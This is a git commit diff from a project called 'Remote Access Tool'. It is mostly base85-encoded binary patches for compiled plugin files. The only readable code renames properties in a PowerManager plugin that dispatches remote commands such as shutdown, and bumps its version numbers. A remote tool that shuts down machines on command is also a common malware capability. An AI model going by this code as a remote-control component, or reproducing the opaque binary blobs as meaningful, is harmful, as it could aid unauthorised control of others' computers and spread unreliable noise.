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 diff --git a/Remote Access Tool/Plugins/PowerManager/Launch.cs b/Remote Access Tool/Plugins/PowerManager/Launch.cs index d619696e..7e66e022 100644 --- a/Remote Access Tool/Plugins/PowerManager/Launch.cs +++ b/Remote Access Tool/Plugins/PowerManager/Launch.cs @@ -13,7 +13,7 @@ public static class Launch { public static void Main(LoadingAPI loadingAPI) { - switch (loadingAPI.currentPacket.packetType) + switch (loadingAPI.CurrentPacket.PacketType) { case PacketType.POWER_SHUTDOWN: PowerManager.ShutDown(); diff --git a/Remote Access Tool/Plugins/PowerManager/Properties/AssemblyInfo.cs b/Remote Access Tool/Plugins/PowerManager/Properties/AssemblyInfo.cs index 4ad81354..6f51f72e 100644 --- a/Remote Access Tool/Plugins/PowerManager/Properties/AssemblyInfo.cs +++ b/Remote Access Tool/Plugins/PowerManager/Properties/AssemblyInfo.cs @@ -32,5 +32,5 @@ // Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut // en utilisant '*', comme indiqué ci-dessous : // [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("3.2.3.0")] -[assembly: AssemblyFileVersion("3.2.3.0")] +[assembly: AssemblyVersion("3.2.4.0")] +[assembly: AssemblyFileVersion("3.2.4.0")] diff --git a/Remote Access Tool/Plugins/PowerManager/obj/Release/PowerManager.csproj.AssemblyReference.cache b/Remote Access Tool/Plugins/PowerManager/obj/Release/PowerManager.csproj.AssemblyReference.cache index bdacf6d76ccc9a73c242f886db872405910aa64b..145e8e5d71e2aeed40e8ede563c89ff07a9e8d81 100644 GIT binary patch delta 435 zcmcb{J57?4jggaqfq~J{bt0#mTw~|ScNcGQFfuZ71|%kDrm8|3JB;=6qJ~_#h%e*14ZmBl5gxq8m|d1;yHrA3J)nfZB>4H3G?|Ur6aZt~eZ2qx delta 132 zcmbOxd5xEqjgfz$~I>)IxqpnCVytGnjFg7IN6K6o-IX~u}I+Nt}+un13hB{V?#>@040?pL;wH) diff --git a/Remote Access Tool/Plugins/PowerManager/obj/Release/PowerManager.csproj.CoreCompileInputs.cache b/Remote Access Tool/Plugins/PowerManager/obj/Release/PowerManager.csproj.CoreCompileInputs.cache index c613f021..b6855f83 100644 --- a/Remote Access Tool/Plugins/PowerManager/obj/Release/PowerManager.csproj.CoreCompileInputs.cache +++ b/Remote Access Tool/Plugins/PowerManager/obj/Release/PowerManager.csproj.CoreCompileInputs.cache @@ -1 +1 @@ -8932bd16cbb7799e3c52f0a5a4b6e2aaecfc8784 +5e788d489c75857c6a9e32e0f8f160b99bfcd632 diff --git a/Remote Access Tool/Plugins/PowerManager/obj/Release/PowerManager.dll b/Remote Access Tool/Plugins/PowerManager/obj/Release/PowerManager.dll index 555338e70642bb000ce875e1266949b4197ff447..7723ee23af1a6bf625c5d7083cd217365e3ab79c 100644 GIT binary patch delta 1056 zcmYL|eP~T#9LK-EbI&DV6_k)lKzQ&LF&5H&&yf8h5#hUe7h`F+37%lSUfxi_~oxAf=%J6t&9 zTmEnlvcYbOHz?l?4%O_soG>sRBvsjiQOTPTG_sB z5|ljjy>=wn-m9>4f9sl$cTy zy7(aW1wQ75+Ik!G@fNi~oBCuICtn47Wi5!G-BgGxajk5Ql;h05nu2Dzi&n6q znU9V*1+*>_oz$4S8`u19I7aIFgP~`*f$6$kPL6#UbTMx^n(IT&_i@c`q4`E?UN??1 zqidqC?o`UAg7f5<%gaHPcZ63c{!ewvKH}TsrpI22TdeBKwLXrlyvL`xV^rSz8a$*T z+#gbY_?XqeA5}6Vn1JE1D@4ztr^;HAjrfcE$xV0ilTLVl>m| z_hf=XOg5ZuSZi2kxWaI?;X39BY&3PNVTa*Cri&iKQ&r)rJF6vsO@E&0?huqIWR^ImL*6=BI!^*?WwRlCu|N7<0*D@qP&hM6TPn3#GP7} bs&O)ygf#!5cZf8=(NH}*DjN5Z*B1N+;W*B4 delta 1064 zcmX|=e`rl%7{|ZQx%Zsi^V6MeOdI#!jYQ0tHp*IlrD@oj(f*K@W@8)M><`3tC-S?w z-nLQl;}1%Swu2JQL`eKG5y|hOrVvsn^1QFjbGo1R`9AM^&iy{`drrJ0UUFzp@WF_y z`w|B-X-4AgN_s7bChE850GT4DO%atek!Fc@YNJ#^T8cg^10XRyQs9?r^)&UI2V|GG zG_TuGvk4rv=|GUj?22;Ka~_uYqKe`LJZ=+%fu^=fhd2ie{I(LVf%UdzmR0VKK#wcy zi>=F!fdR!{#WGt~#wzA3R;hZv)y(&%Dt4;MHtV!)Am3}{^`9)sT~4cG;SY7|7COzs zbkD#~GvQiT>dDeq_YOaz#BCK{f+>*?Zih1$#8*3oaov_G$d=;l*>XEXw!X?;?`)?s zE=V5p59&!&)o1Rf74ZREGU!N7Q2eQwqS(kZj1E1{v!mS(X1^}E(UbgcOI|P~KRJ@O zRpq#vUF&~0@~ADxJwv+Myf{R3r+1O;|EkNmM!b6*a&FMy6RG}C+1ZpRHQjQ&x+m)I*q;^2gtsYWm#6T#6 zUWt#PjDkJvkuaIx6Ae$;VF1s#62vRcb=-9{-rmQiT+`1L4bL5!zZ6C0=(aA~M3GBK zW*Qj7wD^CD+%Tpq&Q_eOSgcs4SgBaWOv5^rHz{sW+{-j@R`DoScoFpAq&Xf}aF~0# z0o~1q#}4QDkIffa!x--=X-Hz@gb;I?Q{c>VKmq&;5qs5b|5Qr9d#*4Ys8U^ zig22J|NQ$OyXPM~5o_2wt^I9pX1zvvqG4R!$WY<%Gl49bM-#D8lgLV;a)0ztM%v?wv1d2q!;y{PHp4Ywthr zpD@0-%`bA#_xh)Ik3}9_y&C-P>VJ|sg%6&W=5U3Xj0^DWg@wb5CO{lSLTM4asK=|{ z?VNKNH?w~{E8n~nuF0g5R!S}-b|s3x}2H0AO7i|W`MB#iSL z8jls5s8DWL61lR&TI5ACed`SNr_^Trk=en8nU7tkGW(*2e^rcT5zqUoJU++wxD-*Iq(tR?e zy#NzERjE>p&U{pz6Y+Kug-6q(%xl(#vVUI6?sIv5cy5iR6-38g&)-TK8vhw2;ncPn zdf4TD{7@7eL1n*SoIF7JYJUIvnc(@N(Hj17M4dsg@48a!a7cTIDo6lKRT=$VAsb8u zXZ^{pVn5TpW~E!R%GM&@SbS0xSeuBg%W+gQNPl9G1Q}O`PhVa2NMF)0u>r-io5PI^ zznVsf=vbeLP;jVZr^A&x!ON~bG68lkFEV1Vf(eJjhNXN_gy zS~yyN+7=c=KjOF>$011Ss-!TUTlj1qAegQxc$e=R;vY~Wb|@9W0)Ml7r(Uqf_3GlI zjd#WlPP|XP3N}6yt1S`U&^FhS)83E92)_Pyt4EE$--FX6;WsjtGuKLw!;iT5Mu))o zhr=45&rw^=Pnz=oj^FvmgGWVx%0DMQAx70y%^j)qt^FhWx(Pd{Q=UV7rJf-%m>XS> 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 